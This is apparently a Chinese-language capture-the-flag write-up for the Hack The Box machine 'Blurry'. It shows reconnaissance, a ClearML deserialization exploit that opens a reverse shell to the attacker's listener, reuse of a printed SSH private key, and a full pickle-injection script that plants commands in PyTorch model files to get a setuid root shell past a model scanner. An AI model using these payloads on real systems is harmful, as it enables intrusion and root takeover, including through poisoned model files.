blurry
信息收集
端口扫描
全端口扫描
┌──(kali㉿kali)-[~/blurry]
└─$ sudo nmap -sT -p- --min-rate 1000 10.10.11.19 -oA nmap/ports
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-11 00:43 EST
Nmap scan report for 10.10.11.19
Host is up (0.084s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 81.93 seconds
默认脚本扫描
┌──(kali㉿kali)-[~/blurry]
└─$ sudo nmap -sT -sV -sC -p22,80 10.10.11.19 -oA nmap/sC
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-11 00:46 EST
Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 00:47 (0:00:06 remaining)
Nmap scan report for 10.10.11.19
Host is up (0.084s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
| 256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_ 256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://app.blurry.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.88 seconds
漏洞脚本扫描
┌──(kali㉿kali)-[~/blurry]
└─$ sudo nmap -sT --script=vuln -p22,80 10.10.11.19 -oA nmap/vuln
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-11 00:47 EST
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 10.10.11.19
Host is up (0.077s latency).
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
Nmap done: 1 IP address (1 host up) scanned in 367.81 seconds
UDP扫描
┌──(kali㉿kali)-[~/blurry]
└─$ sudo nmap -sU --top-ports 20 10.10.11.19 -oA nmap/UDP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-11 00:56 EST
Nmap scan report for blurry.htb (10.10.11.19)
Host is up (0.13s latency).
PORT STATE SERVICE
53/udp closed domain
67/udp closed dhcps
68/udp open|filtered dhcpc
69/udp closed tftp
123/udp closed ntp
135/udp closed msrpc
137/udp closed netbios-ns
138/udp closed netbios-dgm
139/udp closed netbios-ssn
161/udp closed snmp
162/udp closed snmptrap
445/udp closed microsoft-ds
500/udp closed isakmp
514/udp closed syslog
520/udp closed route
631/udp closed ipp
1434/udp closed ms-sql-m
1900/udp closed upnp
4500/udp closed nat-t-ike
49152/udp closed unknown
Nmap done: 1 IP address (1 host up) scanned in 16.42 seconds
Web 信息收集
脚本扫描的时候发现了域名blurry.htb 进行一下子域名枚举
┌──(kali㉿kali)-[~/blurry] └─$ wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://blurry.htb -H "Host: FUZZ.blurry.htb" --hh 169
******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://blurry.htb/ Total requests: 4989 ===================================================================== ID Response Lines Word Chars Payload =====================================================================
000000051: 400 0 L 4 W 280 Ch "api" 000000070: 200 448 L 12829 W 218733 Ch "chat" 000000111: 200 28 L 363 W 13327 Ch "app" 000000096: 200 0 L 1 W 2 Ch "files" Total time: 0
Processed Requests: 4989
Filtered Requests: 4985
Requests/sec.: 0
更改hosts文件
┌──(kali㉿kali)-[~/blurry]
└─$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.10.11.19 blurry.htb
10.10.11.19 api.blurry.htb
10.10.11.19 app.blurry.htb
10.10.11.19 files.blurry.htb
10.10.11.19 chat.blurry.htb
http://api.blurry.htb
似乎是一个托管ai模型的平台,暂时搁置

http://files.blurry.htb/
只有一个OK

http://api.blurry.htb/
api不知道是干什么用的

http://chat.blurry.htb
似乎是一个在线聊天室,注册个账号登进去
可以得到几个用户名,并且jippity是管理员
搜索了一下chat.rocket的漏洞利用脚本,需要管理员的邮箱,而我们现在没有,先回去看看有没有其他的信息
这里可以查到clearML的版本为1.13.1

漏洞利用
ClearML 反序列化漏洞 (CVE-2024-24590)
寻找nday,发现有rce可以利用,网址
┌──(venv)─(kali㉿kali)-[~/blurry/venv]
└─$ clearml-init
ClearML SDK setup process
Configuration file already exists: /home/kali/clearml.conf
Leaving setup, feel free to edit the configuration file.
┌──(venv)─(kali㉿kali)-[~/blurry/venv]
└─$ cd CVE-2024-24590
┌──(venv)─(kali㉿kali)-[~/blurry/venv/CVE-2024-24590]
└─$ ls
exploit.py README.md
┌──(venv)─(kali㉿kali)-[~/blurry/venv/CVE-2024-24590]
└─$ python3 exploit.py -i 10.10.16.17 -p 443 -P "Black Swan"
ClearML Task: created new task id=10f92c05451d487ea35e57bab34bf087
ClearML results page: http://app.blurry.htb/projects/116c40b9b53743689239b6b460efd7be/experiments/10f92c05451d487ea35e57bab34bf087/output/log
CLEARML-SERVER new package available: UPGRADE to v1.16.2 is recommended!
Release Notes:
### Bug Fixes
- Fix no graphs are shown in workers and queues screens
ClearML Monitor: GPU monitoring failed getting GPU reading, switching off GPU monitoring
执行后等一段时间,发现收到了反弹shell
┌──(kali㉿kali)-[~/blurry]
└─$ sudo rlwrap nc -lvnp 443
[sudo] password for kali:
listening on [any] 443 ...
connect to [10.10.16.17] from (UNKNOWN) [10.10.11.19] 58012
bash: cannot set terminal process group (8382): Inappropriate ioctl for device
bash: no job control in this shell
jippity@blurry:~$
权限提升
PyTorch 模型恶意代码注入提权
家目录中发现了ssh的私钥文件,我们切换ssh登录
jippity@blurry:~$ ll
ll
total 60K
654083 drwxr-xr-x 6 jippity jippity 4.0K May 30 04:41 .
654081 drwxr-xr-x 3 root root 4.0K Feb 6 2024 ..
657174 drwxr-xr-x 2 jippity jippity 4.0K Feb 17 2024 automation
654084 lrwxrwxrwx 1 root root 9 Feb 17 2024 .bash_history -> /dev/null
654086 -rw-r--r-- 1 jippity jippity 220 Feb 6 2024 .bash_logout
657168 -rw-r--r-- 1 jippity jippity 3.5K Feb 6 2024 .bashrc
659107 drwxr-xr-x 9 jippity jippity 4.0K Feb 8 2024 .clearml
680177 -rw-r--r-- 1 jippity jippity 11K Feb 17 2024 clearml.conf
657169 -rw-r--r-- 1 jippity jippity 29 Feb 6 2024 .clearml_data.json
662468 -rw-r--r-- 1 jippity jippity 22 Feb 8 2024 .gitconfig
654266 drwx------ 5 jippity jippity 4.0K Feb 6 2024 .local
654085 -rw-r--r-- 1 jippity jippity 807 Feb 6 2024 .profile
654087 lrwxrwxrwx 1 root root 9 Feb 17 2024 .python_history -> /dev/null
667813 drwx------ 2 jippity jippity 4.0K Feb 17 2024 .ssh
654092 -rw-r----- 1 root jippity 33 Nov 11 00:21 user.txt
jippity@blurry:~$ cd .ssh
cd .ssh
jippity@blurry:~/.ssh$ ll
ll
total 20K
667813 drwx------ 2 jippity jippity 4.0K Feb 17 2024 .
654083 drwxr-xr-x 6 jippity jippity 4.0K May 30 04:41 ..
654088 -rw-r--r-- 1 jippity jippity 568 Feb 17 2024 authorized_keys
679864 -rw------- 1 jippity jippity 2.6K Feb 14 2024 id_rsa
680125 -rw-r--r-- 1 jippity jippity 568 Feb 14 2024 id_rsa.pub
jippity@blurry:~/.ssh$ cat id_rsa
cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
jippity@blurry:~/.ssh$
┌──(kali㉿kali)-[~/blurry]
└─$ vim id_rsa
┌──(kali㉿kali)-[~/blurry]
└─$ chmod 600 id_rsa
┌──(kali㉿kali)-[~/blurry]
└─$ ssh jippity@10.10.11.19 -i id_rsa
The authenticity of host '10.10.11.19 (10.10.11.19)' can't be established.
ED25519 key fingerprint is SHA256:Yr2plP6C5tZyGiCNZeUYNDmsDGrfGijissa6WJo0yPY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.19' (ED25519) to the list of known hosts.
Linux blurry 5.10.0-30-amd64 #1 SMP Debian 5.10.218-1 (2024-06-01) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Aug 1 11:37:37 2024 from 10.10.14.40
jippity@blurry:~$
sudo -l查看有什么sudo权限
jippity@blurry:~$ sudo -l
Matching Defaults entries for jippity on blurry:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jippity may run the following commands on blurry:
(root) NOPASSWD: /usr/bin/evaluate_model /models/*.pth
查阅资料后 发现可以注入pytorch的模型文件,使用这篇文章中的脚本
import os
import argparse
import pickle
import struct
import shutil
from pathlib import Path
import torch
class PickleInject():
"""Pickle injection. Pretends to be a "module" to work with torch."""
def __init__(self, inj_objs, first=True):
self.__name__ = "pickle_inject"
self.inj_objs = inj_objs
self.first = first
class _Pickler(pickle._Pickler):
"""Reimplementation of Pickler with support for injection"""
def __init__(self, file, protocol, inj_objs, first=True):
super().__init__(file, protocol)
self.inj_objs = inj_objs
self.first = first
def dump(self, obj):
"""Pickle data, inject object before or after"""
if self.proto >= 2:
self.write(pickle.PROTO + struct.pack("<B", self.proto))
if self.proto >= 4:
self.framer.start_framing()
# Inject the object(s) before the user-supplied data?
if self.first:
# Pickle injected objects
for inj_obj in self.inj_objs:
self.save(inj_obj)
# Pickle user-supplied data
self.save(obj)
# Inject the object(s) after the user-supplied data?
if not self.first:
# Pickle injected objects
for inj_obj in self.inj_objs:
self.save(inj_obj)
self.write(pickle.STOP)
self.framer.end_framing()
def Pickler(self, file, protocol):
# Initialise the pickler interface with the injected object
return self._Pickler(file, protocol, self.inj_objs)
class _PickleInject():
"""Base class for pickling injected commands"""
def __init__(self, args, command=None):
self.command = command
self.args = args
def __reduce__(self):
return self.command, (self.args,)
class System(_PickleInject):
"""Create os.system command"""
def __init__(self, args):
super().__init__(args, command=os.system)
class Exec(_PickleInject):
"""Create exec command"""
def __init__(self, args):
super().__init__(args, command=exec)
class Eval(_PickleInject):
"""Create eval command"""
def __init__(self, args):
super().__init__(args, command=eval)
class RunPy(_PickleInject):
"""Create runpy command"""
def __init__(self, args):
import runpy
super().__init__(args, command=runpy._run_code)
def __reduce__(self):
return self.command, (self.args,{})
parser = argparse.ArgumentParser(description="PyTorch Pickle Inject")
parser.add_argument("model", type=Path)
parser.add_argument("command", choices=["system", "exec", "eval", "runpy"])
parser.add_argument("args")
parser.add_argument("-v", "--verbose", help="verbose logging", action="count")
args = parser.parse_args()
command_args = args.args
# If the command arg is a path, read the file contents
if os.path.isfile(command_args):
with open(command_args, "r") as in_file:
command_args = in_file.read()
# Construct payload
if args.command == "system":
payload = PickleInject.System(command_args)
elif args.command == "exec":
payload = PickleInject.Exec(command_args)
elif args.command == "eval":
payload = PickleInject.Eval(command_args)
elif args.command == "runpy":
payload = PickleInject.RunPy(command_args)
# Backup the model
backup_path = "{}.bak".format(args.model)
shutil.copyfile(args.model, backup_path)
# Save the model with the injected payload
torch.save(torch.load(args.model), f=args.model, pickle_module=PickleInject([payload]))
提供了多种的注入方式
eval
python .\inject.py .\demo_model.pth eval "import os;os.system('id')"
被检查出恶意代码
jippity@blurry:/models$ sudo /usr/bin/evaluate_model /models/injected.pth
[!] Model /models/injected.pth contains OVERTLY_MALICIOUS components and will be deleted.
runpy
python .\inject.py .\demo_model.pth runpy "import os;os.system('id')"
发现id执行了!
jippity@blurry:/models$ mv demo_model.pth.1 shell.pth
jippity@blurry:/models$ sudo /usr/bin/evaluate_model /models/shell.pth
[+] Model /models/shell.pth is considered safe. Processing...
uid=0(root) gid=0(root) groups=0(root)
[+] Loaded Model.
[+] Dataloader ready. Evaluating model...
[+] Accuracy of the model on the test dataset: 56.25%
jippity@blurry:/models$
再构造具体的提权命令
python .\inject.py .\demo_model.pth runpy "import os;os.system('cp /bin/sh /tmp/rootshell;chmod +sx /tmp/rootshell')"
执行成功
jippity@blurry:/models$ mv demo_model.pth.1 shell.pth
jippity@blurry:/models$ sudo /usr/bin/evaluate_model /models/shell.pth
[+] Model /models/shell.pth is considered safe. Processing...
[+] Loaded Model.
[+] Dataloader ready. Evaluating model...
[+] Accuracy of the model on the test dataset: 62.50%
jippity@blurry:/models$ ll /tmp
total 164K
130818 drwxrwxrwt 10 root root 4.0K Nov 11 06:39 .
2 drwxr-xr-x 19 root root 4.0K Jun 3 09:28 ..
133337 prw-r--r-- 1 jippity jippity 0 Nov 11 04:02 f
212580 drwxrwxrwt 2 root root 4.0K Nov 11 00:21 .font-unix
212578 drwxrwxrwt 2 root root 4.0K Nov 11 00:21 .ICE-unix
130892 -rwsr-sr-x 1 root root 123K Nov 11 06:39 rootshell
212604 drwx------ 3 root root 4.0K Nov 11 00:21 systemd-private-8619b1aba1fa418ba66743b0aba5c9c3-systemd-logind.service-9K2Kof
212582 drwx------ 3 root root 4.0K Nov 11 00:21 systemd-private-8619b1aba1fa418ba66743b0aba5c9c3-systemd-timesyncd.service-0H3axi
212581 drwxrwxrwt 2 root root 4.0K Nov 11 00:21 .Test-unix
212588 drwx------ 2 root root 4.0K Nov 11 00:21 vmware-root_294-860397889
212577 drwxrwxrwt 2 root root 4.0K Nov 11 00:21 .X11-unix
212579 drwxrwxrwt 2 root root 4.0K Nov 11 00:21 .XIM-unix
jippity@blurry:/models$
提权
jippity@blurry:/tmp$ ./rootshell -p # whoami
root
# cat root.txt
4758c57284f089dfded55c8348f1e030
成功拿下靶机